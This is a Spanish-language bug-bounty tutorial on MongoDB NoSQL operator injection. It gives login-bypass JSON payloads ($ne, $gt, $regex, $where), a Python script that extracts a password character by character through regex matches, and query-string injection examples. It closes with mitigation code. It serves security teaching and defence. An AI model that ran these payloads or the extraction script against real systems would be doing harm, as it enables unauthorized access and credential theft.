bug-bounty

MongoDB Operator Injection

Uso de operadores NoSQL ($gt, $ne) para bypass de autenticación y extracción de datos.

Pentester
20 minutos
CVSS 8.9
Enero 2026

¿Qué es NoSQL Injection?

A diferencia de SQL, las bases de datos NoSQL como MongoDB no usan queries en formato texto. En su lugar, usan objetos JavaScript/JSON que pueden ser manipulados para alterar la lógica de las consultas.

Diferencia clave con SQL Injection

  • SQL: Inyectas strings como ' OR '1'='1
  • NoSQL: Inyectas objetos como {"$ne": null}

Muchos developers creen que al usar MongoDB están "protegidos" de injection, pero esto es unmito peligroso.

1. Login Bypass con Operadores

Escenario Vulnerable

Una API que recibe credenciales en JSON y las pasa directamente a MongoDB:

❌ Código vulnerable (Node.js + Express)
javascript
// API endpoint vulnerable
app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;
  
  // ❌ PELIGRO: Pasa directamente el input del usuario
  const user = await db.collection('users').findOne({
    username: username,
    password: password
  });
  
  if (user) {
    res.json({ success: true, token: generateToken(user) });
  } else {
    res.json({ success: false });
  }
});

¿Por qué es vulnerable?

Si el atacante envía un objeto en lugar de un string, puede manipular la query de MongoDB usando sus operadores especiales.

Payload de Ataque: Operador $ne (Not Equal)

En lugar de enviar strings normales, enviamos objetos con operadores de MongoDB:

Payload - Login bypass con $ne
json
// Request normal (legítimo)
POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": "admin",
  "password": "secretpass123"
}

// Request malicioso (ataque)
POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": "admin",
  "password": {"$ne": null}
}

🔓 ¿Cómo funciona?

El payload {"$ne": null} se traduce a:

// Query resultante en MongoDB
db.collection('users').findOne({
  username: "admin",
  password: { $ne: null }  // ← "password NOT EQUAL a null"
});

// Esto significa: "Dame el usuario 'admin' cuya contraseña NO sea null"
// ¡Y prácticamente TODAS las contraseñas cumplen esa condición!

Resultado: Login exitoso sin conocer la contraseña real.

Otros Operadores Útiles para Bypass

Variantes de payloads
json
// $gt (greater than) - Mayor que
{
  "username": "admin",
  "password": {"$gt": ""}
}

// $regex - Expresión regular que coincide con todo
{
  "username": "admin",
  "password": {"$regex": ".*"}
}

// $in - Password está en un array (siempre true)
{
  "username": "admin",
  "password": {"$in": ["admin", "password", "123456", "", null]}
}

// $exists - Campo password existe
{
  "username": "admin",
  "password": {"$exists": true}
}

Payload más sigiloso

El operador $gt con string vacío es menos sospechoso en logs que $ne null, porque parece una comparación "normal".

2. Extracción de Datos con $regex

Escenario: Exfiltrar Contraseñas Carácter por Carácter

Usando expresiones regulares, podemos extraer datos bit a bit, similar a Time-blind SQL Injection pero basado en respuestas booleanas.

Payload - Detectar primer carácter de password
json
// ¿La contraseña del admin empieza con 'a'?
{
  "username": "admin",
  "password": {"$regex": "^a"}
}

// ¿Empieza con 'b'?
{
  "username": "admin",
  "password": {"$regex": "^b"}
}

// ... Continuar hasta encontrar el carácter correcto
Respuestas del servidor
// Si el password empieza con 'a' {"success": false} ← No coincide // Si el password empieza con 'p' {"success": true} ← ¡Coincide! El primer char es 'p'

Script de Automatización (Python)

mongodb_password_exfiltration.py
python
import requests
import string

URL = "https://target.com/api/login"
CHARSET = string.ascii_lowercase + string.digits + "_@.-!#$%"
PASSWORD = ""

print("[+] Iniciando extracción de password del usuario 'admin'...")

# Extraer cada carácter
while True:
    found = False
    
    for char in CHARSET:
        # Construir regex para probar el siguiente carácter
        regex = f"^{PASSWORD}{char}"
        
        payload = {
            "username": "admin",
            "password": {"$regex": regex}
        }
        
        r = requests.post(URL, json=payload)
        
        # Si el login es exitoso, encontramos el carácter
        if r.json().get("success"):
            PASSWORD += char
            print(f"[+] Char encontrado: {char} → Password actual: {PASSWORD}")
            found = True
            break
    
    # Si no se encontró ningún carácter más, terminamos
    if not found:
        break

print(f"\n[✓] Password completa extraída: {PASSWORD}")

Optimización: Regex case-insensitive

Usa el operador $options con valor i para hacer la búsqueda case-insensitive y acelerar el proceso.

Extracción de Múltiples Usuarios

Payload - Enumerar usuarios con $regex
json
// Usuarios que empiezan con 'a'
{
  "username": {"$regex": "^a"},
  "password": {"$ne": null}
}

// Usuarios de 5 caracteres exactos
{
  "username": {"$regex": "^.{5}$"},
  "password": {"$ne": null}
}

// Usuarios que contienen 'admin'
{
  "username": {"$regex": "admin", "$options": "i"},
  "password": {"$ne": null}
}

3. Operadores Avanzados

$where - JavaScript Injection

El operador $where permite ejecutar código JavaScript arbitrarioen el contexto del servidor MongoDB. Extremadamente peligroso si no está filtrado.

Payload - $where injection
json
// Bypass de login con código JavaScript
{
  "username": "admin",
  "$where": "return true"
}

// Extraer contraseña carácter por carácter
{
  "username": "admin",
  "$where": "this.password.substring(0,1) == 'p'"
}

// Sleep-based (Time-blind NoSQL)
{
  "username": "admin",
  "$where": "sleep(5000) || true"
}

Impacto crítico

Con $where puedes:
  • Ejecutar JavaScript arbitrario en el servidor
  • Acceder a this (el documento actual)
  • Causar DoS con loops infinitos
  • Exfiltrar datos sensibles

$lookup - Server-Side Join Injection

Payload - Unir datos de otras colecciones
json
// Intentar unir con la colección 'admin_keys'
{
  "$lookup": {
    "from": "admin_keys",
    "localField": "_id",
    "foreignField": "user_id",
    "as": "secrets"
  }
}

$expr - Comparaciones Complejas

Payload - Expresiones condicionales
json
// Bypass cuando username == password
{
  "$expr": {
    "$eq": ["$username", "$password"]
  }
}

// Detectar documentos con campos específicos
{
  "$expr": {
    "$gt": [{"$strLenCP": "$password"}, 10]
  }
}

4. Bypass de Validaciones Comunes

Bypass de Type Checking

Algunos developers validan "si es string", pero olvidan validar objetos anidados:

❌ Validación insuficiente
javascript
// Intento de validación (INSUFICIENTE)
if (typeof username === 'string' && typeof password === 'string') {
  const user = await db.collection('users').findOne({
    username: username,
    password: password
  });
}

// ❌ Problema: No valida OBJETOS como {"$ne": null}
Payload que bypasea esta validación
json
// Nested object injection
{
  "username": "admin",
  "password": {
    "$ne": null
  }
}

// El typeof password será 'object', pero algunos frameworks
// lo convierten automáticamente antes del check

Bypass vía URL Parameters

Payload - Query string injection
http
GET /api/login?username=admin&password[$ne]=null HTTP/1.1

// Algunos frameworks parsean esto como:
{
  "username": "admin",
  "password": {
    "$ne": null
  }
}

Frameworks vulnerables

Express.js con qs library (por defecto) parseapassword[$ne]=null como un objeto.

Mitigación para Developers

Cómo prevenir NoSQL Injection

  • Input Sanitization: Rechaza objetos, solo acepta strings/numbers primitivos
  • Whitelist Validation: Valida que NO contengan caracteres $ (operadores)
  • Type Checking Estricto: Verifica tipos recursivamente en objetos anidados
  • Deshabilitar $where: Configurar MongoDB para bloquear operador $where
  • Hash Passwords: NUNCA comparar passwords en plaintext, usar bcrypt/argon2
✅ Código seguro con sanitización
javascript
const validator = require('validator');

app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;
  
  // ✅ Validar que son strings primitivos
  if (typeof username !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'Invalid input type' });
  }
  
  // ✅ Rechazar caracteres $ (operadores de MongoDB)
  if (username.includes('$') || password.includes('$')) {
    return res.status(400).json({ error: 'Invalid characters' });
  }
  
  // ✅ Validar formato (opcional pero recomendado)
  if (!validator.isAlphanumeric(username)) {
    return res.status(400).json({ error: 'Invalid username format' });
  }
  
  // ✅ Comparar con hash, NO plaintext
  const user = await db.collection('users').findOne({ username });
  
  if (user && await bcrypt.compare(password, user.passwordHash)) {
    res.json({ success: true, token: generateToken(user) });
  } else {
    res.json({ success: false });
  }
});
✅ Helper de sanitización reutilizable
javascript
// Helper para sanitizar inputs de MongoDB
function sanitizeMongoInput(obj) {
  if (typeof obj !== 'object' || obj === null) {
    return obj;
  }
  
  const sanitized = {};
  
  for (const [key, value] of Object.entries(obj)) {
    // Rechazar keys que empiecen con $ (operadores)
    if (key.startsWith('$')) {
      throw new Error(`Invalid key: ${key}`);
    }
    
    // Sanitizar recursivamente
    if (typeof value === 'object' && value !== null) {
      sanitized[key] = sanitizeMongoInput(value);
    } else {
      sanitized[key] = value;
    }
  }
  
  return sanitized;
}

// Uso
app.post('/api/data', async (req, res) => {
  try {
    const sanitized = sanitizeMongoInput(req.body);
    const result = await db.collection('data').find(sanitized).toArray();
    res.json(result);
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

Siguiente: Redis RCE

Redis RCE via Lua Sandboxing
Por Aitana Security Team